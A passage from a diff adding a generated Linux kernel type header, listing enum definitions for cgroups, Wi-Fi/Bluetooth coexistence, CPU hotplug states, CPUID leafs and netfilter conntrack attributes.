CGROUP_SYSCTL = 15, + CGROUP_UDP4_RECVMSG = 16, + CGROUP_UDP6_RECVMSG = 17, + CGROUP_UNIX_RECVMSG = 18, + CGROUP_GETSOCKOPT = 19, + CGROUP_SETSOCKOPT = 20, + CGROUP_INET4_GETPEERNAME = 21, + CGROUP_INET6_GETPEERNAME = 22, + CGROUP_UNIX_GETPEERNAME = 23, + CGROUP_INET4_GETSOCKNAME = 24, + CGROUP_INET6_GETSOCKNAME = 25, + CGROUP_UNIX_GETSOCKNAME = 26, + CGROUP_INET_SOCK_RELEASE = 27, + CGROUP_LSM_START = 28, + CGROUP_LSM_END = 27, + MAX_CGROUP_BPF_ATTACH_TYPE = 28, +}; + +enum cgroup_filetype { + CGROUP_FILE_PROCS = 0, + CGROUP_FILE_TASKS = 1, +}; + +enum cgroup_opt_features { + OPT_FEATURE_PRESSURE = 0, + OPT_FEATURE_COUNT = 1, +}; + +enum cgroup_subsys_id { + cpuset_cgrp_id = 0, + cpu_cgrp_id = 1, + cpuacct_cgrp_id = 2, + io_cgrp_id = 3, + memory_cgrp_id = 4, + devices_cgrp_id = 5, + freezer_cgrp_id = 6, + net_cls_cgrp_id = 7, + perf_event_cgrp_id = 8, + hugetlb_cgrp_id = 9, + pids_cgrp_id = 10, + rdma_cgrp_id = 11, + misc_cgrp_id = 12, + debug_cgrp_id = 13, + CGROUP_SUBSYS_COUNT = 14, +}; + +enum chacha_constants { + CHACHA_CONSTANT_EXPA = 1634760805, + CHACHA_CONSTANT_ND_3 = 857760878, + CHACHA_CONSTANT_2_BY = 2036477234, + CHACHA_CONSTANT_TE_K = 1797285236, +}; + +enum check_states { + check_state_idle = 0, + check_state_run = 1, + check_state_run_q = 2, + check_state_run_pq = 3, + check_state_check_result = 4, + check_state_compute_run = 5, + check_state_compute_result = 6, +}; + +enum cipher { + CIPHER_NONE = 0, + CIPHER_WEP64 = 1, + CIPHER_WEP128 = 2, + CIPHER_TKIP = 3, + CIPHER_AES = 4, + CIPHER_CKIP64 = 5, + CIPHER_CKIP128 = 6, + CIPHER_TKIP_NO_MIC = 7, + CIPHER_MAX = 4, +}; + +enum cipher_flags { + CRYPT_MODE_INTEGRITY_AEAD = 0, + CRYPT_IV_LARGE_SECTORS = 1, + CRYPT_ENCRYPT_PREPROCESS = 2, +}; + +enum class_map_type { + DD_CLASS_TYPE_DISJOINT_BITS = 0, + DD_CLASS_TYPE_LEVEL_NUM = 1, + DD_CLASS_TYPE_DISJOINT_NAMES = 2, + DD_CLASS_TYPE_LEVEL_NAMES = 3, +}; + +enum cleanup_prefix_rt_t { + CLEANUP_PREFIX_RT_NOP = 0, + CLEANUP_PREFIX_RT_DEL = 1, + CLEANUP_PREFIX_RT_EXPIRE = 2, +}; + +enum clear_refs_types { + CLEAR_REFS_ALL = 1, + CLEAR_REFS_ANON = 2, + CLEAR_REFS_MAPPED = 3, + CLEAR_REFS_SOFT_DIRTY = 4, + CLEAR_REFS_MM_HIWATER_RSS = 5, + CLEAR_REFS_LAST = 6, +}; + +enum clock_event_state { + CLOCK_EVT_STATE_DETACHED = 0, + CLOCK_EVT_STATE_SHUTDOWN = 1, + CLOCK_EVT_STATE_PERIODIC = 2, + CLOCK_EVT_STATE_ONESHOT = 3, + CLOCK_EVT_STATE_ONESHOT_STOPPED = 4, +}; + +enum clocksource_ids { + CSID_GENERIC = 0, + CSID_ARM_ARCH_COUNTER = 1, + CSID_X86_TSC_EARLY = 2, + CSID_X86_TSC = 3, + CSID_X86_KVM_CLK = 4, + CSID_X86_ART = 5, + CSID_MAX = 6, +}; + +enum cmis_cdb_fw_write_mechanism { + CMIS_CDB_FW_WRITE_MECHANISM_LPL = 1, + CMIS_CDB_FW_WRITE_MECHANISM_BOTH = 17, +}; + +enum cntl_msg_types { + IPCTNL_MSG_CT_NEW = 0, + IPCTNL_MSG_CT_GET = 1, + IPCTNL_MSG_CT_DELETE = 2, + IPCTNL_MSG_CT_GET_CTRZERO = 3, + IPCTNL_MSG_CT_GET_STATS_CPU = 4, + IPCTNL_MSG_CT_GET_STATS = 5, + IPCTNL_MSG_CT_GET_DYING = 6, + IPCTNL_MSG_CT_GET_UNCONFIRMED = 7, + IPCTNL_MSG_MAX = 8, +}; + +enum coex_algorithm { + COEX_ALGO_NOPROFILE = 0, + COEX_ALGO_HFP = 1, + COEX_ALGO_HID = 2, + COEX_ALGO_A2DP = 3, + COEX_ALGO_PAN = 4, + COEX_ALGO_A2DP_HID = 5, + COEX_ALGO_A2DP_PAN = 6, + COEX_ALGO_PAN_HID = 7, + COEX_ALGO_A2DP_PAN_HID = 8, + COEX_ALGO_MAX = 9, +}; + +enum coex_bt_profile { + BPM_NOPROFILE = 0, + BPM_HFP = 1, + BPM_HID = 2, + BPM_A2DP = 4, + BPM_PAN = 8, + BPM_HID_HFP = 3, + BPM_A2DP_HFP = 5, + BPM_A2DP_HID = 6, + BPM_A2DP_HID_HFP = 7, + BPM_PAN_HFP = 9, + BPM_PAN_HID = 10, + BPM_PAN_HID_HFP = 11, + BPM_PAN_A2DP = 12, + BPM_PAN_A2DP_HFP = 13, + BPM_PAN_A2DP_HID = 14, + BPM_PAN_A2DP_HID_HFP = 15, +}; + +enum coex_bt_status { + COEX_BTSTATUS_NCON_IDLE = 0, + COEX_BTSTATUS_CON_IDLE = 1, + COEX_BTSTATUS_INQ_PAGE = 2, + COEX_BTSTATUS_ACL_BUSY = 3, + COEX_BTSTATUS_SCO_BUSY = 4, + COEX_BTSTATUS_ACL_SCO_BUSY = 5, + COEX_BTSTATUS_MAX = 6, +}; + +enum coex_btrssi_type { + COEX_BTRSSI_RATIO = 0, + COEX_BTRSSI_DBM = 1, + COEX_BTRSSI_MAX = 2, +}; + +enum coex_ext_ant_switch_ctrl_type { + COEX_SWITCH_CTRL_BY_BBSW = 0, + COEX_SWITCH_CTRL_BY_PTA = 1, + COEX_SWITCH_CTRL_BY_ANTDIV = 2, + COEX_SWITCH_CTRL_BY_MAC = 3, + COEX_SWITCH_CTRL_BY_BT = 4, + COEX_SWITCH_CTRL_BY_FW = 5, + COEX_SWITCH_CTRL_MAX = 6, +}; + +enum coex_ext_ant_switch_pos_type { + COEX_SWITCH_TO_BT = 0, + COEX_SWITCH_TO_WLG = 1, + COEX_SWITCH_TO_WLA = 2, + COEX_SWITCH_TO_NOCARE = 3, + COEX_SWITCH_TO_WLG_BT = 4, + COEX_SWITCH_TO_MAX = 5, +}; + +enum coex_gnt_setup_state { + COEX_GNT_SET_HW_PTA = 0, + COEX_GNT_SET_SW_LOW = 1, + COEX_GNT_SET_SW_HIGH = 3, +}; + +enum coex_mp_info_op { + BT_MP_INFO_OP_PATCH_VER = 0, + BT_MP_INFO_OP_READ_REG = 17, + BT_MP_INFO_OP_SUPP_FEAT = 42, + BT_MP_INFO_OP_SUPP_VER = 43, + BT_MP_INFO_OP_SCAN_TYPE = 45, + BT_MP_INFO_OP_LNA_CONSTRAINT = 50, +}; + +enum coex_notify_type_associate { + COEX_ASSOCIATE_FINISH = 0, + COEX_ASSOCIATE_START = 1, + COEX_ASSOCIATE_5G_FINISH = 2, + COEX_ASSOCIATE_5G_START = 3, +}; + +enum coex_notify_type_ips { + COEX_IPS_LEAVE = 0, + COEX_IPS_ENTER = 1, +}; + +enum coex_notify_type_lps { + COEX_LPS_DISABLE = 0, + COEX_LPS_ENABLE = 1, +}; + +enum coex_notify_type_media_status { + COEX_MEDIA_DISCONNECT = 0, + COEX_MEDIA_CONNECT = 1, + COEX_MEDIA_CONNECT_5G = 2, +}; + +enum coex_notify_type_scan { + COEX_SCAN_FINISH = 0, + COEX_SCAN_START = 1, + COEX_SCAN_START_2G = 2, + COEX_SCAN_START_5G = 3, +}; + +enum coex_notify_type_switchband { + COEX_NOT_SWITCH = 0, + COEX_SWITCH_TO_24G = 1, + COEX_SWITCH_TO_5G = 2, + COEX_SWITCH_TO_24G_NOFORSCAN = 3, +}; + +enum coex_power_save_type { + COEX_PS_WIFI_NATIVE = 0, + COEX_PS_LPS_ON = 1, + COEX_PS_LPS_OFF = 2, +}; + +enum coex_pstdma_type { + COEX_PSTDMA_FORCE_LPSOFF = 0, + COEX_PSTDMA_FORCE_LPSON = 1, + COEX_PSTDMA_MAX = 2, +}; + +enum coex_rssi_state { + COEX_RSSI_STATE_HIGH = 0, + COEX_RSSI_STATE_MEDIUM = 1, + COEX_RSSI_STATE_LOW = 2, + COEX_RSSI_STATE_STAY_HIGH = 3, + COEX_RSSI_STATE_STAY_MEDIUM = 4, + COEX_RSSI_STATE_STAY_LOW = 5, +}; + +enum coex_runreason { + COEX_RSN_2GSCANSTART = 0, + COEX_RSN_5GSCANSTART = 1, + COEX_RSN_SCANFINISH = 2, + COEX_RSN_2GSWITCHBAND = 3, + COEX_RSN_5GSWITCHBAND = 4, + COEX_RSN_2GCONSTART = 5, + COEX_RSN_5GCONSTART = 6, + COEX_RSN_2GCONFINISH = 7, + COEX_RSN_5GCONFINISH = 8, + COEX_RSN_2GMEDIA = 9, + COEX_RSN_5GMEDIA = 10, + COEX_RSN_MEDIADISCON = 11, + COEX_RSN_BTINFO = 12, + COEX_RSN_LPS = 13, + COEX_RSN_WLSTATUS = 14, + COEX_RSN_BTSTATUS = 15, + COEX_RSN_MAX = 16, +}; + +enum coex_set_ant_phase { + COEX_SET_ANT_INIT = 0, + COEX_SET_ANT_WONLY = 1, + COEX_SET_ANT_WOFF = 2, + COEX_SET_ANT_2G = 3, + COEX_SET_ANT_5G = 4, + COEX_SET_ANT_POWERON = 5, + COEX_SET_ANT_2G_WLBT = 6, + COEX_SET_ANT_2G_FREERUN = 7, + COEX_SET_ANT_MAX = 8, +}; + +enum coex_wl2bt_scoreboard { + COEX_SCBD_ACTIVE = 1, + COEX_SCBD_ONOFF = 2, + COEX_SCBD_SCAN = 4, + COEX_SCBD_UNDERTEST = 8, + COEX_SCBD_RXGAIN = 16, + COEX_SCBD_BT_RFK = 32, + COEX_SCBD_WLBUSY = 64, + COEX_SCBD_EXTFEM = 256, + COEX_SCBD_TDMA = 512, + COEX_SCBD_FIX2M = 1024, + COEX_SCBD_ALL = 65535, +}; + +enum coex_wl_link_mode { + COEX_WLINK_2G1PORT = 0, + COEX_WLINK_5G = 3, + COEX_WLINK_2GFREE = 7, + COEX_WLINK_MAX = 8, +}; + +enum coex_wl_priority_mask { + COEX_WLPRI_RX_RSP = 2, + COEX_WLPRI_TX_RSP = 3, + COEX_WLPRI_TX_BEACON = 4, + COEX_WLPRI_TX_OFDM = 11, + COEX_WLPRI_TX_CCK = 12, + COEX_WLPRI_TX_BEACONQ = 27, + COEX_WLPRI_RX_CCK = 28, + COEX_WLPRI_RX_OFDM = 29, + COEX_WLPRI_MAX = 30, +}; + +enum coex_wl_tput_dir { + COEX_WL_TPUT_TX = 0, + COEX_WL_TPUT_RX = 1, + COEX_WL_TPUT_MAX = 2, +}; + +enum compact_priority { + COMPACT_PRIO_SYNC_FULL = 0, + MIN_COMPACT_PRIORITY = 0, + COMPACT_PRIO_SYNC_LIGHT = 1, + MIN_COMPACT_COSTLY_PRIORITY = 1, + DEF_COMPACT_PRIORITY = 1, + COMPACT_PRIO_ASYNC = 2, + INIT_COMPACT_PRIORITY = 2, +}; + +enum compact_result { + COMPACT_NOT_SUITABLE_ZONE = 0, + COMPACT_SKIPPED = 1, + COMPACT_DEFERRED = 2, + COMPACT_NO_SUITABLE_PAGE = 3, + COMPACT_CONTINUE = 4, + COMPACT_COMPLETE = 5, + COMPACT_PARTIAL_SKIPPED = 6, + COMPACT_CONTENDED = 7, + COMPACT_SUCCESS = 8, +}; + +enum con_flush_mode { + CONSOLE_FLUSH_PENDING = 0, + CONSOLE_REPLAY_ALL = 1, +}; + +enum con_msg_format_flags { + MSG_FORMAT_DEFAULT = 0, + MSG_FORMAT_SYSLOG = 1, +}; + +enum con_scroll { + SM_UP = 0, + SM_DOWN = 1, +}; + +enum cons_flags { + CON_PRINTBUFFER = 1, + CON_CONSDEV = 2, + CON_ENABLED = 4, + CON_BOOT = 8, + CON_ANYTIME = 16, + CON_BRL = 32, + CON_EXTENDED = 64, + CON_SUSPENDED = 128, + CON_NBCON = 256, +}; + +enum cpa_warn { + CPA_CONFLICT = 0, + CPA_PROTECT = 1, + CPA_DETECT = 2, +}; + +enum cpio_fields { + C_MAGIC = 0, + C_INO = 1, + C_MODE = 2, + C_UID = 3, + C_GID = 4, + C_NLINK = 5, + C_MTIME = 6, + C_FILESIZE = 7, + C_MAJ = 8, + C_MIN = 9, + C_RMAJ = 10, + C_RMIN = 11, + C_NAMESIZE = 12, + C_CHKSUM = 13, + C_NFIELDS = 14, +}; + +enum cppc_regs { + HIGHEST_PERF = 0, + NOMINAL_PERF = 1, + LOW_NON_LINEAR_PERF = 2, + LOWEST_PERF = 3, + GUARANTEED_PERF = 4, + DESIRED_PERF = 5, + MIN_PERF = 6, + MAX_PERF = 7, + PERF_REDUC_TOLERANCE = 8, + TIME_WINDOW = 9, + CTR_WRAP_TIME = 10, + REFERENCE_CTR = 11, + DELIVERED_CTR = 12, + PERF_LIMITED = 13, + ENABLE = 14, + AUTO_SEL_ENABLE = 15, + AUTO_ACT_WINDOW = 16, + ENERGY_PERF = 17, + REFERENCE_PERF = 18, + LOWEST_FREQ = 19, + NOMINAL_FREQ = 20, +}; + +enum cpu_idle_type { + __CPU_NOT_IDLE = 0, + CPU_IDLE = 1, + CPU_NEWLY_IDLE = 2, + CPU_MAX_IDLE_TYPES = 3, +}; + +enum cpu_mitigations { + CPU_MITIGATIONS_OFF = 0, + CPU_MITIGATIONS_AUTO = 1, + CPU_MITIGATIONS_AUTO_NOSMT = 2, +}; + +enum cpu_usage_stat { + CPUTIME_USER = 0, + CPUTIME_NICE = 1, + CPUTIME_SYSTEM = 2, + CPUTIME_SOFTIRQ = 3, + CPUTIME_IRQ = 4, + CPUTIME_IDLE = 5, + CPUTIME_IOWAIT = 6, + CPUTIME_STEAL = 7, + CPUTIME_GUEST = 8, + CPUTIME_GUEST_NICE = 9, + CPUTIME_FORCEIDLE = 10, + NR_STATS = 11, +}; + +enum cpuacct_stat_index { + CPUACCT_STAT_USER = 0, + CPUACCT_STAT_SYSTEM = 1, + CPUACCT_STAT_NSTATS = 2, +}; + +enum cpufreq_table_sorting { + CPUFREQ_TABLE_UNSORTED = 0, + CPUFREQ_TABLE_SORTED_ASCENDING = 1, + CPUFREQ_TABLE_SORTED_DESCENDING = 2, +}; + +enum cpuhp_smt_control { + CPU_SMT_ENABLED = 0, + CPU_SMT_DISABLED = 1, + CPU_SMT_FORCE_DISABLED = 2, + CPU_SMT_NOT_SUPPORTED = 3, + CPU_SMT_NOT_IMPLEMENTED = 4, +}; + +enum cpuhp_state { + CPUHP_INVALID = -1, + CPUHP_OFFLINE = 0, + CPUHP_CREATE_THREADS = 1, + CPUHP_PERF_PREPARE = 2, + CPUHP_PERF_X86_PREPARE = 3, + CPUHP_PERF_X86_AMD_UNCORE_PREP = 4, + CPUHP_PERF_POWER = 5, + CPUHP_PERF_SUPERH = 6, + CPUHP_X86_HPET_DEAD = 7, + CPUHP_X86_MCE_DEAD = 8, + CPUHP_VIRT_NET_DEAD = 9, + CPUHP_IBMVNIC_DEAD = 10, + CPUHP_SLUB_DEAD = 11, + CPUHP_DEBUG_OBJ_DEAD = 12, + CPUHP_MM_WRITEBACK_DEAD = 13, + CPUHP_MM_VMSTAT_DEAD = 14, + CPUHP_SOFTIRQ_DEAD = 15, + CPUHP_NET_MVNETA_DEAD = 16, + CPUHP_CPUIDLE_DEAD = 17, + CPUHP_ARM64_FPSIMD_DEAD = 18, + CPUHP_ARM_OMAP_WAKE_DEAD = 19, + CPUHP_IRQ_POLL_DEAD = 20, + CPUHP_BLOCK_SOFTIRQ_DEAD = 21, + CPUHP_BIO_DEAD = 22, + CPUHP_ACPI_CPUDRV_DEAD = 23, + CPUHP_S390_PFAULT_DEAD = 24, + CPUHP_BLK_MQ_DEAD = 25, + CPUHP_FS_BUFF_DEAD = 26, + CPUHP_PRINTK_DEAD = 27, + CPUHP_MM_MEMCQ_DEAD = 28, + CPUHP_PERCPU_CNT_DEAD = 29, + CPUHP_RADIX_DEAD = 30, + CPUHP_PAGE_ALLOC = 31, + CPUHP_NET_DEV_DEAD = 32, + CPUHP_PCI_XGENE_DEAD = 33, + CPUHP_IOMMU_IOVA_DEAD = 34, + CPUHP_AP_ARM_CACHE_B15_RAC_DEAD = 35, + CPUHP_PADATA_DEAD = 36, + CPUHP_AP_DTPM_CPU_DEAD = 37, + CPUHP_RANDOM_PREPARE = 38, + CPUHP_WORKQUEUE_PREP = 39, + CPUHP_POWER_NUMA_PREPARE = 40, + CPUHP_HRTIMERS_PREPARE = 41, + CPUHP_X2APIC_PREPARE = 42, + CPUHP_SMPCFD_PREPARE = 43, + CPUHP_RELAY_PREPARE = 44, + CPUHP_MD_RAID5_PREPARE = 45, + CPUHP_RCUTREE_PREP = 46, + CPUHP_CPUIDLE_COUPLED_PREPARE = 47, + CPUHP_POWERPC_PMAC_PREPARE = 48, + CPUHP_POWERPC_MMU_CTX_PREPARE = 49, + CPUHP_XEN_PREPARE = 50, + CPUHP_XEN_EVTCHN_PREPARE = 51, + CPUHP_ARM_SHMOBILE_SCU_PREPARE = 52, + CPUHP_SH_SH3X_PREPARE = 53, + CPUHP_TOPOLOGY_PREPARE = 54, + CPUHP_NET_IUCV_PREPARE = 55, + CPUHP_ARM_BL_PREPARE = 56, + CPUHP_TRACE_RB_PREPARE = 57, + CPUHP_MM_ZS_PREPARE = 58, + CPUHP_MM_ZSWP_POOL_PREPARE = 59, + CPUHP_KVM_PPC_BOOK3S_PREPARE = 60, + CPUHP_ZCOMP_PREPARE = 61, + CPUHP_TIMERS_PREPARE = 62, + CPUHP_TMIGR_PREPARE = 63, + CPUHP_MIPS_SOC_PREPARE = 64, + CPUHP_BP_PREPARE_DYN = 65, + CPUHP_BP_PREPARE_DYN_END = 85, + CPUHP_BP_KICK_AP = 86, + CPUHP_BRINGUP_CPU = 87, + CPUHP_AP_IDLE_DEAD = 88, + CPUHP_AP_OFFLINE = 89, + CPUHP_AP_CACHECTRL_STARTING = 90, + CPUHP_AP_SCHED_STARTING = 91, + CPUHP_AP_RCUTREE_DYING = 92, + CPUHP_AP_CPU_PM_STARTING = 93, + CPUHP_AP_IRQ_GIC_STARTING = 94, + CPUHP_AP_IRQ_HIP04_STARTING = 95, + CPUHP_AP_IRQ_APPLE_AIC_STARTING = 96, + CPUHP_AP_IRQ_ARMADA_XP_STARTING = 97, + CPUHP_AP_IRQ_BCM2836_STARTING = 98, + CPUHP_AP_IRQ_MIPS_GIC_STARTING = 99, + CPUHP_AP_IRQ_EIOINTC_STARTING = 100, + CPUHP_AP_IRQ_AVECINTC_STARTING = 101, + CPUHP_AP_IRQ_SIFIVE_PLIC_STARTING = 102, + CPUHP_AP_IRQ_RISCV_IMSIC_STARTING = 103, + CPUHP_AP_IRQ_RISCV_SBI_IPI_STARTING = 104, + CPUHP_AP_ARM_MVEBU_COHERENCY = 105, + CPUHP_AP_PERF_X86_AMD_UNCORE_STARTING = 106, + CPUHP_AP_PERF_X86_STARTING = 107, + CPUHP_AP_PERF_X86_AMD_IBS_STARTING = 108, + CPUHP_AP_PERF_XTENSA_STARTING = 109, + CPUHP_AP_ARM_VFP_STARTING = 110, + CPUHP_AP_ARM64_DEBUG_MONITORS_STARTING = 111, + CPUHP_AP_PERF_ARM_HW_BREAKPOINT_STARTING = 112, + CPUHP_AP_PERF_ARM_ACPI_STARTING = 113, + CPUHP_AP_PERF_ARM_STARTING = 114, + CPUHP_AP_PERF_RISCV_STARTING = 115, + CPUHP_AP_ARM_L2X0_STARTING = 116, + CPUHP_AP_EXYNOS4_MCT_TIMER_STARTING = 117, + CPUHP_AP_ARM_ARCH_TIMER_STARTING = 118, + CPUHP_AP_ARM_ARCH_TIMER_EVTSTRM_STARTING = 119, + CPUHP_AP_ARM_GLOBAL_TIMER_STARTING = 120, + CPUHP_AP_JCORE_TIMER_STARTING = 121, + CPUHP_AP_ARM_TWD_STARTING = 122, + CPUHP_AP_QCOM_TIMER_STARTING = 123, + CPUHP_AP_TEGRA_TIMER_STARTING = 124, + CPUHP_AP_ARMADA_TIMER_STARTING = 125, + CPUHP_AP_MIPS_GIC_TIMER_STARTING = 126, + CPUHP_AP_ARC_TIMER_STARTING = 127, + CPUHP_AP_REALTEK_TIMER_STARTING = 128, + CPUHP_AP_RISCV_TIMER_STARTING = 129, + CPUHP_AP_CLINT_TIMER_STARTING = 130, + CPUHP_AP_CSKY_TIMER_STARTING = 131, + CPUHP_AP_TI_GP_TIMER_STARTING = 132, + CPUHP_AP_HYPERV_TIMER_STARTING = 133, + CPUHP_AP_DUMMY_TIMER_STARTING = 134, + CPUHP_AP_ARM_XEN_STARTING = 135, + CPUHP_AP_ARM_XEN_RUNSTATE_STARTING = 136, + CPUHP_AP_ARM_CORESIGHT_STARTING = 137, + CPUHP_AP_ARM_CORESIGHT_CTI_STARTING = 138, + CPUHP_AP_ARM64_ISNDEP_STARTING = 139, + CPUHP_AP_SMPCFD_DYING = 140, + CPUHP_AP_HRTIMERS_DYING = 141, + CPUHP_AP_TICK_DYING = 142, + CPUHP_AP_X86_TBOOT_DYING = 143, + CPUHP_AP_ARM_CACHE_B15_RAC_DYING = 144, + CPUHP_AP_ONLINE = 145, + CPUHP_TEARDOWN_CPU = 146, + CPUHP_AP_ONLINE_IDLE = 147, + CPUHP_AP_HYPERV_ONLINE = 148, + CPUHP_AP_KVM_ONLINE = 149, + CPUHP_AP_SCHED_WAIT_EMPTY = 150, + CPUHP_AP_SMPBOOT_THREADS = 151, + CPUHP_AP_IRQ_AFFINITY_ONLINE = 152, + CPUHP_AP_BLK_MQ_ONLINE = 153, + CPUHP_AP_ARM_MVEBU_SYNC_CLOCKS = 154, + CPUHP_AP_X86_INTEL_EPB_ONLINE = 155, + CPUHP_AP_PERF_ONLINE = 156, + CPUHP_AP_PERF_X86_ONLINE = 157, + CPUHP_AP_PERF_X86_UNCORE_ONLINE = 158, + CPUHP_AP_PERF_X86_AMD_UNCORE_ONLINE = 159, + CPUHP_AP_PERF_X86_AMD_POWER_ONLINE = 160, + CPUHP_AP_PERF_X86_RAPL_ONLINE = 161, + CPUHP_AP_PERF_S390_CF_ONLINE = 162, + CPUHP_AP_PERF_S390_SF_ONLINE = 163, + CPUHP_AP_PERF_ARM_CCI_ONLINE = 164, + CPUHP_AP_PERF_ARM_CCN_ONLINE = 165, + CPUHP_AP_PERF_ARM_HISI_CPA_ONLINE = 166, + CPUHP_AP_PERF_ARM_HISI_DDRC_ONLINE = 167, + CPUHP_AP_PERF_ARM_HISI_HHA_ONLINE = 168, + CPUHP_AP_PERF_ARM_HISI_L3_ONLINE = 169, + CPUHP_AP_PERF_ARM_HISI_PA_ONLINE = 170, + CPUHP_AP_PERF_ARM_HISI_SLLC_ONLINE = 171, + CPUHP_AP_PERF_ARM_HISI_PCIE_PMU_ONLINE = 172, + CPUHP_AP_PERF_ARM_HNS3_PMU_ONLINE = 173, + CPUHP_AP_PERF_ARM_L2X0_ONLINE = 174, + CPUHP_AP_PERF_ARM_QCOM_L2_ONLINE = 175, + CPUHP_AP_PERF_ARM_QCOM_L3_ONLINE = 176, + CPUHP_AP_PERF_ARM_APM_XGENE_ONLINE = 177, + CPUHP_AP_PERF_ARM_CAVIUM_TX2_UNCORE_ONLINE = 178, + CPUHP_AP_PERF_ARM_MARVELL_CN10K_DDR_ONLINE = 179, + CPUHP_AP_PERF_POWERPC_NEST_IMC_ONLINE = 180, + CPUHP_AP_PERF_POWERPC_CORE_IMC_ONLINE = 181, + CPUHP_AP_PERF_POWERPC_THREAD_IMC_ONLINE = 182, + CPUHP_AP_PERF_POWERPC_TRACE_IMC_ONLINE = 183, + CPUHP_AP_PERF_POWERPC_HV_24x7_ONLINE = 184, + CPUHP_AP_PERF_POWERPC_HV_GPCI_ONLINE = 185, + CPUHP_AP_PERF_CSKY_ONLINE = 186, + CPUHP_AP_TMIGR_ONLINE = 187, + CPUHP_AP_WATCHDOG_ONLINE = 188, + CPUHP_AP_WORKQUEUE_ONLINE = 189, + CPUHP_AP_RANDOM_ONLINE = 190, + CPUHP_AP_RCUTREE_ONLINE = 191, + CPUHP_AP_BASE_CACHEINFO_ONLINE = 192, + CPUHP_AP_ONLINE_DYN = 193, + CPUHP_AP_ONLINE_DYN_END = 233, + CPUHP_AP_X86_HPET_ONLINE = 234, + CPUHP_AP_X86_KVM_CLK_ONLINE = 235, + CPUHP_AP_ACTIVE = 236, + CPUHP_ONLINE = 237, +}; + +enum cpuhp_sync_state { + SYNC_STATE_DEAD = 0, + SYNC_STATE_KICKED = 1, + SYNC_STATE_SHOULD_DIE = 2, + SYNC_STATE_ALIVE = 3, + SYNC_STATE_SHOULD_ONLINE = 4, + SYNC_STATE_ONLINE = 5, +}; + +enum cpuid_leafs { + CPUID_1_EDX = 0, + CPUID_8000_0001_EDX = 1, + CPUID_8086_0001_EDX = 2, + CPUID_LNX_1 = 3, + CPUID_1_ECX = 4, + CPUID_C000_0001_EDX = 5, + CPUID_8000_0001_ECX = 6, + CPUID_LNX_2 = 7, + CPUID_LNX_3 = 8, + CPUID_7_0_EBX = 9, + CPUID_D_1_EAX = 10, + CPUID_LNX_4 = 11, + CPUID_7_1_EAX = 12, + CPUID_8000_0008_EBX = 13, + CPUID_6_EAX = 14, + CPUID_8000_000A_EDX = 15, + CPUID_7_ECX = 16, + CPUID_8000_0007_EBX = 17, + CPUID_7_EDX = 18, + CPUID_8000_001F_EAX = 19, + CPUID_8000_0021_EAX = 20, + CPUID_LNX_5 = 21, + NR_CPUID_WORDS = 22, +}; + +enum cpuid_regs_idx { + CPUID_EAX = 0, + CPUID_EBX = 1, + CPUID_ECX = 2, + CPUID_EDX = 3, +}; + +enum criteria { + CR_POWER2_ALIGNED = 0, + CR_GOAL_LEN_FAST = 1, + CR_BEST_AVAIL_LEN = 2, + CR_GOAL_LEN_SLOW = 3, + CR_ANY_FREE = 4, + EXT4_MB_NUM_CRS = 5, +}; + +enum csi_seg_len { + HAL_CSI_SEG_4K = 0, + HAL_CSI_SEG_8K = 1, + HAL_CSI_SEG_11K = 2, +}; + +enum ctattr_counters { + CTA_COUNTERS_UNSPEC = 0, + CTA_COUNTERS_PACKETS = 1, + CTA_COUNTERS_BYTES = 2, + CTA_COUNTERS32_PACKETS = 3, + CTA_COUNTERS32_BYTES = 4, + CTA_COUNTERS_PAD = 5, + __CTA_COUNTERS_MAX = 6, +}; + +enum ctattr_expect { + CTA_EXPECT_UNSPEC = 0, + CTA_EXPECT_MASTER = 1, + CTA_EXPECT_TUPLE = 2, + CTA_EXPECT_MASK = 3, + CTA_EXPECT_TIMEOUT = 4, + CTA_EXPECT_ID = 5, + CTA_EXPECT_HELP_NAME = 6, + CTA_EXPECT_ZONE = 7, + CTA_EXPECT_FLAGS = 8, + CTA_EXPECT_CLASS = 9, + CTA_EXPECT_NAT = 10, + CTA_EXPECT_FN = 11, + __CTA_EXPECT_MAX = 12, +}; + +enum ctattr_expect_nat { + CTA_EXPECT_NAT_UNSPEC = 0, + CTA_EXPECT_NAT_DIR = 1, + CTA_EXPECT_NAT_TUPLE = 2, + __CTA_EXPECT_NAT_MAX = 3, +}; + +enum ctattr_expect_stats { + CTA_STATS_EXP_UNSPEC = 0, + CTA_STATS_EXP_NEW = 1, + CTA_STATS_EXP_CREATE = 2, + CTA_STATS_EXP_DELETE = 3, + __CTA_STATS_EXP_MAX = 4, +}; + +enum ctattr_filter { + CTA_FILTER_UNSPEC = 0, + CTA_FILTER_ORIG_FLAGS = 1, + CTA_FILTER_REPLY_FLAGS = 2, + __CTA_FILTER_MAX = 3, +}; + +enum ctattr_help { + CTA_HELP_UNSPEC = 0, + CTA_HELP_NAME = 1, + CTA_HELP_INFO = 2, + __CTA_HELP_MAX = 3, +}; + +enum ctattr_ip { + CTA_IP_UNSPEC = 0, + CTA_IP_V4_SRC = 1, + CTA_IP_V4_DST = 2, + CTA_IP_V6_SRC = 3, + CTA_IP_V6_DST = 4, + __CTA_IP_MAX = 5, +}; + +enum ctattr_l4proto { + CTA_PROTO_UNSPEC = 0, + CTA_PROTO_NUM = 1, + CTA_PROTO_SRC_PORT = 2, + CTA_PROTO_DST_PORT = 3, + CTA_PROTO_ICMP_ID = 4, + CTA_PROTO_ICMP_TYPE = 5, + CTA_PROTO_ICMP_CODE = 6, + CTA_PROTO_ICMPV6_ID = 7, + CTA_PROTO_ICMPV6_TYPE = 8, + CTA_PROTO_ICMPV6_CODE = 9, + __CTA_PROTO_MAX = 10, +}; + +enum ctattr_nat { + CTA_NAT_UNSPEC = 0, + CTA_NAT_V4_MINIP = 1, + CTA_NAT_V4_MAXIP = 2, + CTA_NAT_PROTO = 3, + CTA_NAT_V6_MINIP = 4, + CTA_NAT_V6_MAXIP = 5, + __CTA_NAT_MAX = 6, +}; + +enum ctattr_protoinfo { + CTA_PROTOINFO_UNSPEC = 0, + CTA_PROTOINFO_TCP = 1, + CTA_PROTOINFO_DCCP = 2, + CTA_PROTOINFO_SCTP = 3, + __CTA_PROTOINFO_MAX = 4, +}; + +enum ctattr_protoinfo_tcp { + CTA_PROTOINFO_TCP_UNSPEC = 0, + CTA_PROTOINFO_TCP_STATE = 1, + CTA_PROTOINFO_TCP_WSCALE_ORIGINAL = 2, + CTA_PROTOINFO_TCP_WSCALE_REPLY = 3, + CTA_PROTOINFO_TCP_FLAGS_ORIGINAL = 4, + CTA_PROTOINFO_TCP_FLAGS_REPLY = 5, + __CTA_PROTOINFO_TCP_MAX = 6, +}; + +enum ctattr_protonat { + CTA_PROTONAT_UNSPEC = 0, + 